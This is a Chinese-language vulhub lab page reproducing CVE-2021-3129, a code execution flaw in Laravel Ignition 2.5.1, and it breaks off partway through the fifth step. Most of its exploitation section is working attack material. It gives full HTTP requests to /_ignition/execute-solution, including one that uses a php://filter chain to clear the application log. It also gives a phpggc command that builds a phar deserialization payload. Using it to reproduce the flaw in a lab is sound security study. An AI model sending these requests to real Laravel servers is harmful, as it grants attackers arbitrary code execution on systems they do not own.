vulhub靶场.zip

# Laravel Ignition 2.5.1 代码执行漏洞（CVE-2021-3129） Laravel是一个由Taylor Otwell所创建，免费的开源 PHP Web 框架。在开发模式下，Laravel使用了Ignition提供的错误页面，在Ignition 2.5.1及之前的版本中，有类似这样的代码： ```php $contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents); ``` 攻击者可以通过`phar://`协议来执行反序列化操作，进而执行任意代码。 参考链接： - https://www.ambionics.io/blog/laravel-debug-rce - https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g ## 环境搭建 执行如下命令启动一个运行着Laravel 8.4.2和Ignition 2.5.1的应用： ``` docker-compose up -d ``` 环境启动后，访问`http://your-ip:8080`即可查看Laravel默认的欢迎页面。 ## 漏洞复现 首先，我们发送如下数据包，页面出现了Ignition的报错，说明漏洞存在，且开启了debug模式：  然后，我们按照如下方法复现漏洞。 一，发送如下数据包，将原日志文件清空。 ``` POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 328 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } } ``` 二，用phpggc生成序列化利用POC ``` php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" ``` 三，发送如下数据包，给Log增加一次前缀 ``` POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 163 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "AA" } } ``` 四，将POC作为viewFile的值，发送数据包 ``` POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 5058 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": 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} } ``` 五�